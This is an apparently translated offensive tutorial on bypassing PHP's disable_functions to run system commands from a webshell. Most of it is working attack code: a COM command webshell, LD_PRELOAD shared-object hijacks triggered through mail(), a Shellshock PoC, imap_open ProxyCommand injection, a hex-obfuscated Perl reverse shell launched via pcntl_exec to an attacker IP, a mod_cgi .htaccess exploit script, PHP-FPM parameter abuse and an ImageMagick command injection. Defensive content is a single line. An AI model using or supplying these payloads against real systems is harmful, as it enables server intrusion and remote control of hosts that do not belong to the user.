bypass disable_functions
disable_functions is PHP Ini, which can be used to set the PHP environment to prohibit the use of some functions. Usually, the website administrator can disable some dangerous command execution functions for security reasons.
If you want to add it, it's in PHP Ini, separated by commas.
to configure
Open PHP Ini, search disable_function, add the following functions
eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
Restart the web service and change the index PHP, view the output
<?php eval(var_dump(1)); phpinfo();
It was found that the eval function was successfully executed, but disable_ Eval is indeed prohibited in function
Because eval is a language constructor, not a function, put it in disable_functions cannot be disabled. If you want to disable eval, you can use php's extension Suhosin
Basic bypass
Hazard function
- exec
- shell_exec
- system
- passthru
- popen
- proc_open
- pcntl_exec
Windows
com component development
requirement:
-
Open COM components (added by other versions of 5.4)
- com_dotnet
Upload script
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); // Generate a COM object shell Application can also $exec = $wsh->exec("cmd /c".$command); //Call object methods to execute commands $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
Linux
Environment variable LD_preload
Hijack getuid in sendmail
Conditions:
-
mail() function and error_ The log() function is not completely disabled
-
The sendmail command called by the function is already installed
- centos is installed by default
- ubantu is not installed by default
Basic principles
Through the environment variable LD_PRELOAD hijacks system functions to break through disable_functions restricts the execution of operating system commands.
LD_PRELOAD is the next interesting environment variable for Linux systems:
"It allows you to define the dynamic link library to be loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries.
So is like windows dll, which can be written, overwritten and then used by LD_preload to load so dll first
sendmail function dynamically calls many standard library functions during running
readelf -Ws /usr/sbin/sendmail
The idea of constructing poc
- Write a prototype for uid_t getuid(void); C function, which internally executes the code specified by the attacker and compiles it into the shared object evil so;
- Run PHP function putenv() and set environment variable LD_PRELOAD is evil So, so that the shared object can be loaded first when a new process is started later;
- Run the mail() function of PHP, and start the new process / usr/sbin/sendmail inside mail(). Due to the LD in the previous step_ In the role of preload, the system function getuid() called by sendmail is replaced by evil with better priority Hijacked by getuid() with the same name in so;
1. Prepare our own dynamic link program. The code is as follows (the function is to execute mkdir test). The command compiled into a dynamic shared library is as follows
gcc -shared -fPIC test.c -o test.so
#include <stdlib.h> #include <stdio.h> #include <string.h> int geteuid() { const char* cmdline = getenv("EVIL_CMDLINE"); if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); system(cmdline); }
2. Use webshell to upload the compiled a.so to the target server
3. Set LD through putenv_ Preload, let our program be called first. It is triggered by sending an email with the mail function on the webshell. The utilization code is as follows
<?php echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>
Three parameters are accepted here
- First, cmd parameter, system command to be executed
- The second is the outpath parameter, which saves the file path of the command execution output result for easy display on the page. In addition, you should pay attention to whether the web has read-write permission, whether the web can be accessed across directories, and whether the file will be overwritten and deleted
- The third is the sopath parameter, which specifies the absolute path of the shared object hijacking the system function.
Here, the LD is converted by putenv() function_ The preload environment variable is set to malicious test so
Add custom evil_ The CmdLine environment variable is assigned to the command to be executed;
Then call the mail() function to trigger sendmail(), and then trigger getuid() through sendmail() to make malicious test.. So is loaded and executed
Finally, output the content to the page and delete the file that temporarily stores the command execution results.
Hijack start process
GCC has a C language extension modifier__ attribute__((constructor)), the function modified by it can be executed before main(). If it appears in the shared object, it will be executed immediately once the shared object is loaded by the system
Attack utilization
bypass_disablefunc.c
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
Through LD_PRELOAD hijacks the behavior of starting the process. After hijacking, another new process is started. If the LD is not cancelled before the new process is started_ Preload, you will fall into an infinite loop, so you must delete the environment variable LD_PRELOAD. Therefore, environ is used to delete environment variables
Then compile the C file into a shared object file with the following statement:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php, code and test PHP consistency:
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>
Bash shell breaking (CVE-2014-6271)
prerequisite
- Bash shell breaking (CVE-2014-6271) vulnerability exists in the target OS
- The bash being attacked has a vulnerability (version less than or equal to 4.3)
- An attacker can control environment variables
- The new bash process is opened to trigger vulnerabilities and execute commands
- The vulnerability exists in Bash version 1.14 - 4.3. The affected Linux systems include Red Hat Enterprise Linux (versions 4 ~7), Fedora distribution, CentOS (versions 5 ~7), Ubuntu 10.04 LTS,12.04 LTS, 14.04 LTS, Debian, etc
- After the environment variable defined starting with () {is parsed into a function in the command ENV, Bash execution does not exit, but continues to parse and execute shell commands
verification
env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
- The variable x defined in POC is () {:;}; echo vulnerable, which becomes a function, is related to the function definition in bash.
- After bash parses the function, it will continue to execute the following code because of parse_and_execute function.
If there is a vulnerability, it will echo:
vulnerable This is a test
poc
<?php function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
php can set environment variables through putenv, and popen() will be executed when the fifth parameter of mail function exists
If sh is bash by default, popen() will derive bash process. This function is not only mail, but also imap_mail, etc
imap expansion
It didn't work
Premise:
- Install imap extension for PHP
- In PHP Open imap.ini enable_ insecure_ RSH option is On
Basic principles
Simply put, it's IMAP_ The open () function will call the rsh program, in which the execve system call will be called to call rsh. The email address parameter is determined by IMAP_ The mailbox parameter of the open() function is passed in. Meanwhile, since the rsh command is a symbolic link of the ssh command, we can execute the malicious command when we use the - oProxyCommand parameter of ssh to construct the malicious mailbox parameter.
imap_open()
Poc
First determine whether there is imap_open() function, then construct exp, execute the command input through external GET, then save the result to the local file, and finally output the content of the result file. Note that sleep(5) is to wait for IMAP_ After the open() function is executed, because DNS polling is required when the function is executed, there will be a delay:
<?php error_reporting(0); if (!function_exists('imap_open')) { die("no imap_open function!"); } $server = "x -oProxyCommand=echo$IFS$()" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64$IFS$()-d|sh}"; imap_open('{' . $server . ':143/imap}INBOX', '', '')or die("\n\nError: ".imap_last_error()); sleep(5); echo file_get_contents("/tmp/cmd_result"); ?>
pcntl extension
The premise is that PHP has the pcntl plug-in installed and enabled.
The php installed by Ubuntu 18 apt does not have this extension by default. You need to manually download and compile the prerequisites
ubuntu compilation can refer to
https://www.cnblogs.com/mangyusisha/p/5867370.html
Basic principles
The principle is relatively simple, that is, using pcntl_exec() is a proprietary command execution function of pcntl plug-in to execute system commands and Bypass the blacklist.
Bypass rebound shell
<?php $ip = 'xx.xx.xx.xx'; $port = '7000'; $file = '/tmp/bc.pl'; header("content-Type: text/html; charset=gb2312"); if(function_exists('pcntl_exec')) { $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a". "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20". "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65". "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip. "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port. "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72". "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24". "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e". "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f". "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68". "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f". "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43". "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44". "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43". "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65". "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20". "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21". "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b". "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43". "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f". "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a". "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a"; $fp = fopen($file,'w'); $key = fputs($fp,$data); fclose($fp); if(!$key) exit('write in'.$file.'fail'); chmod($file,0777); pcntl_exec($file); unlink($file); } else { echo 'I won't support it pcntl extend'; } ?>
tips: it is normal that the web page cannot work normally when requesting
Defense method
disable_ Add pcntl related functions to the blacklist of functions to disable
Memory vulnerability
https://github.com/mm0r1/exploits
Principle:
- Various memory vulnerabilities, pwn boss
apply
- Above php7
Apache mod Cgi
premise
- Linux operating system
- Apache + PHP (apache uses apache_mod_php)
- Apache has enabled cgi and rewrite
- The Web directory gives AllowOverride permission
- The current directory is writable
principle
Apache can specify a directory with the ScriptAlias command after configuring to enable CGI, and the executable CGI program can be stored under the specified directory. If you want to temporarily allow a directory to execute CGI programs and make the server resolve the custom suffix to CGI program execution, you can configure it with htaccess file in the destination directory, as follows:
Options +ExecCGI AddHandler cgi-script .xxx
This will save all the files in the current directory The xxx file is executed as a CGI program. Since CGI program can execute commands, we can use CGI to execute system commands to bypass disable_functions.
The environment here is complex, so we use ant sword labs to build it quickly
git clone https://github.com/AntSwordProject/AntSword-Labs.git cd bypass_disable_functions/3 docker-compose up -d
visit
http://192.168.159.132:18080/
Direct connection cannot be performed
It is also found that the target host Apache has enabled CGI and has write permission in the Web directory.
Let's first create in the current directory htaccess file, written as follows:
Options +ExecCGI AddHandler cgi-script .ant
Then create a new shell Ant file, write the command to execute:
#!/bin/sh echo Content-type: text/html echo "" echo&&id
Access shell ant
One stop poc
<?php $cmd = "ls /"; //command to be executed $shellfile = "#!/bin/bashn"; //using a shellscript $shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "<br>n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script } } ?>
shell. Puzzle file, command $cmd
PHP-fpm
Service conditions:
-
The target uses the PHP FPM module
-
The process port of PHP FPM is exposed to the external network (generally 9000 ports)
-
Know the absolute path and name of a php script
PHP-FPM
FPM is the protocol parser of Fastcgi. The Web server uses CGI protocol to encapsulate the user's request and send it to who? In fact, it is sent to FPM. FPM parses TCP stream into real data according to CGI protocol.
Since FPM listens to port 9000 by default, we can bypass the Web server, directly construct Fastcgi protocol and communicate with FPM. Therefore, there is a posture of using Webshell to communicate directly with FPM to bypass disable functions.
Because we have understood the principle and content of the protocol, the next step is to use CGI protocol to encapsulate the request and communicate directly with FPM through Socket.
First limit
Since it is a request, SCRIPT_FILENAME is very important, because as mentioned earlier, fpm executes PHP files according to this value. If it does not exist, it will directly return 404. Therefore, if you want to take advantage of this vulnerability, you have to find an existing PHP file. Fortunately, when installing PHP from the source, the server will attach some PHP files, If we haven't collected the information of the target Web directory, we can try this method
Second limitation
Even if we can control SCRIPT_FILENAME, let fpm execute arbitrary files, which is only the files on the target server, but not the files we need to execute. How can we get around this restriction? We can start from PHP Ini. It has two special options that allow us to execute arbitrary commands, that is, auto_prepend_file and auto_append_file. auto_ prepend_ The function of file is to include the specified file before executing the target file. So it's interesting. Suppose we set auto_prepend_file is php://input , then it is equivalent to including the past content of POST before executing any PHP file. Therefore, we only need to put the code to be executed in the POST Body for remote file inclusion, so that arbitrary code can be executed.
Third limitation
Although we can execute arbitrary code through remote file inclusion, remote file inclusion has allow_ url_ If the include constraint is not ON, there is no way to include remote files. How do you set it? Here, PHP-FPM has two key-values that can set PHP configuration items, namely PHP_VALUE and PHP_ADMIN_VALUE,PHP_VALUE can be used to set PHP ini,PHP_ADMIN_VALUE can set all options except the disable_functions option, which solves the problem.
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/name.php', 'SCRIPT_NAME': '/name.php', 'QUERY_STRING': '?name=alex', 'REQUEST_URI': '/name.php?name=alex', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '6666', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
Simply put, it is to skip the process of middleware allocation request and directly construct specific data packets to communicate with PHP FPM module
currency
ImageMagick expansion
Failed to reproduce successfully
condition
-
imagic(<= 3.3.0)
-
And because imagic corresponds to the php version, so
version<=php5.6
windows Download
https://windows.php.net/downloads/pecl/releases/imagick/
Important: note whether the corresponding php version is ts or nts, x86 or x64
phpinfo() shall prevail here
Add expansion
- After extracting the above files, PHP_ imagick. Copy DLL to php/ext directory
- Modify PHP Ini plus extension=php_imagick.dll
Edit PHP INI file to make it load
extension=imagick.so
3. Put other DLLs in the php root directory
Installing ImageMagick
According to the information in phpinfo
ImageMagick 6.9.1-2 Q16 x64
Unable to find --, restart the computer after downloading
Use script
<?php echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'whoami'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command")' pop graphic-context EOF; file_put_contents("KKKK.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.png'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.png"); ?>
The ImageMagick corresponding to the old version cannot be found and has not been reproduced successfully
summary
Make a simple classification and draw a conclusion
- The means of bypass under Windows is limited. We can only expect com expansion and imagic expansion to be started
- And the expanded version of imagic has strict requirements
- Under Linux, the high version of php (7 +) can be directly used to kill memory vulnerabilities, so I didn't take a closer look at other high versions of bypass methods
- The lower version is not afraid of many means
- First, check the extension, such as pcntl,imap or Apache 2handler and fpm
- If not, use the environment variable and finally try Bash to break the shell